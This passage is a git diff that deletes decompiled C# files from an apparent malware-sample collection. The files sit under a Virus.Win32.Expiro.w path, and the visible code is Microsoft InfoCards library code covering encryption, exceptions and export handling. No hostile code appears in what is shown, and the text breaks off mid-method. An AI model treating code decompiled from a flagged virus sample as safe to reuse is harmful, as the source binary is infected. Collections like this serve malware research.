[FieldOffset(604)] - public int DataSize; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedObjectHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedObjectHeader.cs deleted file mode 100644 index 3399d3df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedObjectHeader.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedObjectHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 72)] - internal struct EncryptedObjectHeader - { - public const int StructSize = 72; - public const int IVBlockSize = 32; - public const int IVOffset = 0; - public const int GlobalIdOffset = 32; - public const int LastChangeOffset = 48; - public const int DataSizeOffset = 56; - public const int ObjectTypeOffset = 60; - public const int LocalIdOffset = 64; - public const int TailPaddingOffset = 68; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(32)] - public GlobalId GlobalId; - [MarshalAs(UnmanagedType.I8)] - [FieldOffset(48)] - public long LastChange; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(56)] - public int DataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int ObjectType; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int LocalId; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - private int TailPadding; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptionUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptionUtility.cs deleted file mode 100644 index a43a73fa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptionUtility.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptionUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class EncryptionUtility - { - private EncryptionUtility() - { - } - - public static XmlElement EncryptSecurityToken( - SecurityToken tokenToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - profile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, tokenToBeEncrypted); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - public static XmlElement EncryptSecurityToken( - XmlElement elem, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - elem.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - private static XmlElement EncryptToken( - MemoryStream streamToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(encryptingAlgorithm), nameof (encryptingAlgorithm)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == cert, nameof (cert)); - SecurityToken wrappingToken = (SecurityToken) new X509SecurityToken(cert, "id"); - SecurityAlgorithmSuite securityAlgorithmSuite1 = SecurityAlgorithmSuite.Default; - SecurityAlgorithmSuite securityAlgorithmSuite2; - switch (encryptingAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptionAlgorithm", (object) encryptingAlgorithm))); - } - SecurityKeyIdentifier wrappingTokenReference = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) wrappingToken.CreateKeyIdentifierClause() - }); - byte[] numArray = new byte[securityAlgorithmSuite2.DefaultEncryptionKeyDerivationLength / 8]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - WrappedKeySecurityToken keySecurityToken = new WrappedKeySecurityToken(string.Empty, numArray, asymmetricKeyWrapAlgorithm, wrappingToken, wrappingTokenReference); - SecurityKeyIdentifier securityKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(keySecurityToken.GetWrappedKey(), keySecurityToken.WrappingAlgorithm, keySecurityToken.WrappingTokenReference) - }); - SymmetricAlgorithm symmetricAlgorithm = ((SymmetricSecurityKey) keySecurityToken.SecurityKeys[0]).GetSymmetricAlgorithm(encryptingAlgorithm); - EncryptedData encryptedData = new EncryptedData(); - encryptedData.TokenSerializer = (SecurityTokenSerializer) profile.TokenSerializer; - encryptedData.KeyIdentifier = securityKeyIdentifier; - encryptedData.EncryptionMethod = encryptingAlgorithm; - encryptedData.Type = "http://www.w3.org/2001/04/xmlenc#Element"; - encryptedData.SetUpEncryption(symmetricAlgorithm, streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - encryptedData.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - XmlElement xmlElement = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - streamToBeEncrypted.Close(); - input.Close(); - return xmlElement; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs deleted file mode 100644 index 1fa48504..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndCreateSecurityTokenRequest : UIAgentAsyncEndRequest - { - public EndCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) => ((GetTokenRequest) this.ParentRequest).Token.DisplayToken.Serialize(writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs deleted file mode 100644 index 54f10e65..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndGetFileNameFromUserRequest : UIAgentAsyncEndRequest - { - public EndGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - GetFileNameResult result = (GetFileNameResult) this.Result; - InfoCardTrace.Assert(null != result, "The get file result cannot be null."); - Utility.SerializeString(writer, result.FileName); - Utility.SerializeBytes(writer, result.FileContent); - writer.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndSelectCardRequest.cs deleted file mode 100644 index b0df6cc2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndSelectCardRequest.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndSelectCardRequest : UIAgentAsyncEndRequest - { - public EndSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - int result = (int) this.Result; - writer.Write(result); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionList.cs deleted file mode 100644 index 6a6d1b40..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionList.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionList - { - public static ExceptionList AllNonFatal = new ExceptionList(); - public static ExceptionList Empty = new ExceptionList(); - private Dictionary m_list; - - private ExceptionList() => this.m_list = new Dictionary(0); - - public bool Contains(Type exceptionType) => this.m_list.ContainsKey(exceptionType); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionTranslationTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionTranslationTable.cs deleted file mode 100644 index 183a5cc2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionTranslationTable.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionTranslationTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionTranslationTable - { - private Dictionary m_table; - private static ExceptionTranslationTable s_thisTable; - - public static ExceptionTranslationTable Instance - { - get - { - if (ExceptionTranslationTable.s_thisTable == null) - ExceptionTranslationTable.s_thisTable = new ExceptionTranslationTable(); - return ExceptionTranslationTable.s_thisTable; - } - } - - private ExceptionTranslationTable() - { - this.m_table = new Dictionary(); - this.m_table.Add(typeof (ApplicationException), -2146232832); - this.m_table.Add(typeof (InvalidOperationException), -1073413888); - this.m_table.Add(typeof (NotImplementedException), -2147467263); - this.m_table.Add(typeof (SecurityException), -2147024891); - } - - public int this[Type key] => this.m_table[key]; - - public bool ContainsKey(Type key) => this.m_table.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportException.cs deleted file mode 100644 index 9ec2f005..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ExportException : InfoCardBaseException - { - private const int HRESULT = -1073413886; - - public ExportException() - : base(-1073413886) - { - } - - public ExportException(string message) - : base(-1073413886, message) - { - } - - public ExportException(string message, Exception inner) - : base(-1073413886, message, inner) - { - } - - protected ExportException(SerializationInfo si, StreamingContext sc) - : base(-1073413886, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportFileRequest.cs deleted file mode 100644 index a193474e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportFileRequest.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ExportFileRequest : UIAgentRequest - { - private string m_filename; - private string m_passphrase; - private string[] m_cardIds; - - public ExportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - uint length = reader.ReadUInt32(); - this.m_cardIds = new string[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_cardIds[(IntPtr) index] = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name was specified"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_passphrase), " No passphrase specified for the file"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - RoamingStoreFile roamingStoreFile = new RoamingStoreFile(); - try - { - for (int index = 0; index < this.m_cardIds.Length; ++index) - { - InfoCard infoCard = new InfoCard(new Uri(this.m_cardIds[index])); - infoCard.Get(connection); - infoCard.GetMasterKey(connection); - roamingStoreFile.Cards.Add(infoCard); - } - using (FileStream output = new FileStream(this.m_filename, FileMode.Create)) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false - })) - { - roamingStoreFile.WriteTo(this.m_passphrase, writer); - writer.Flush(); - } - output.Flush(); - } - } - finally - { - foreach (InfoCard card in (IEnumerable) roamingStoreFile.Cards) - card.ClearSensitiveData(); - } - AuditLog.AuditStoreExport(); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (SerializationIncompleteException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("FailedToSerializeObject", (object) ex.ObjectType), (Exception) ex)); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FailedToStartupUIException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FailedToStartupUIException.cs deleted file mode 100644 index fb5fed9a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FailedToStartupUIException.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FailedToStartupUIException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FailedToStartupUIException : InfoCardBaseException - { - private const int HRESULT = -1073413867; - - public FailedToStartupUIException() - : base(-1073413867) - { - } - - public FailedToStartupUIException(string message, Exception inner) - : base(-1073413867, message, inner) - { - } - - protected FailedToStartupUIException(SerializationInfo si, StreamingContext sc) - : base(-1073413867, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileAccessException.cs deleted file mode 100644 index c8a2e218..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FileAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413864; - - public FileAccessException() - : base(-1073413864) - { - } - - public FileAccessException(string message) - : base(-1073413864, message) - { - } - - public FileAccessException(string message, Exception inner) - : base(-1073413864, message, inner) - { - } - - protected FileAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413864, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileDataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileDataSource.cs deleted file mode 100644 index 1ff239e4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileDataSource.cs +++ /dev/null @@ -1,1083 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileDataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.AccessControl; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class FileDataSource : DataSource - { - public const int ENCRYPTIONKEYBUFFERSIZE = 32; - public const int ENCRYPTIONKEYBITLENGTH = 256; - public const int ENCRYPTIONBLOCKBUFFERSIZE = 16; - public const int ENCRYPTIONBLOCKBITLENGTH = 128; - public const int ENCRYPTIONITERATIONS = 1000; - public const int INITIALINDEXITEMCOUNT = 20; - public const int INITIALINDEXAREASIZE = 80; - public const int INITIALBLOBAREASIZE = 2048; - public const int FILEVERSION = 11; - public const int FILEVERSIONV2 = 12; - private static readonly SecurityIdentifier AdministratorSid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, (SecurityIdentifier) null); - private int m_variableSignatureLength = 64; - private FileInfo m_fileInfo; - private FileStream m_file; - private FileInfo m_shadowInfo; - private FileStream m_shadow; - private byte[] m_header; - private IndexedDataBuffer m_data; - private SecondaryIndexList m_indexes; - private ReaderWriterLock m_lock; - private SymmetricAlgorithm m_encAlg; - private byte[] m_key; - private bool m_keyProtected; - private WindowsIdentity m_identity; - private bool m_currentTransactionDirty; - private SafeRsaProviderHandle m_provider; - private byte[] m_encryptedKey; - - protected FileDataSource() - : base((string) null, (string) null) - { - } - - public FileDataSource(WindowsIdentity identity, string fileName) - : this(identity, fileName, Guid.NewGuid().ToString("P"), SecondaryIndexDefinition.MasterIndexes) - { - } - - public FileDataSource( - WindowsIdentity identity, - string fileName, - string instanceId, - SecondaryIndexDefinition[] indexDefinitions) - : base(instanceId, fileName) - { - this.m_identity = identity; - this.m_currentTransactionDirty = false; - this.m_fileInfo = new FileInfo(fileName); - this.m_shadowInfo = new FileInfo(this.m_fileInfo.FullName + ".shadow"); - this.m_lock = new ReaderWriterLock(); - this.m_indexes = new SecondaryIndexList(indexDefinitions); - this.m_encAlg = FileDataSource.CreateEncryptionAlg(); - this.SetupProvider(); - } - - public IndexedDataBuffer Buffer - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_data; - } - } - - public byte[] Header - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_header; - } - } - - public SecondaryIndexList Indexes - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_indexes; - } - } - - protected WindowsIdentity Identity => this.m_identity; - - protected internal override void OnClear() - { - using (new SystemIdentity(true)) - { - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientDelete(this.m_shadowInfo); - } - } - - protected internal override void OnLoad() - { - this.ThrowIfDisposed(); - try - { - this.CreateDirAndFiles(); - if (this.m_shadow.Length > 0L) - { - if (this.m_file.Length > 0L) - { - this.m_shadow.SetLength(0L); - this.LoadFrom((Stream) this.m_file); - } - else - { - this.LoadFrom((Stream) this.m_shadow); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - } - else if (this.m_file.Length > 0L) - { - this.LoadFrom((Stream) this.m_file); - } - else - { - this.CreateEmptyStore(); - this.FlushToShadow(); - this.SwapFileWithShadow(); - 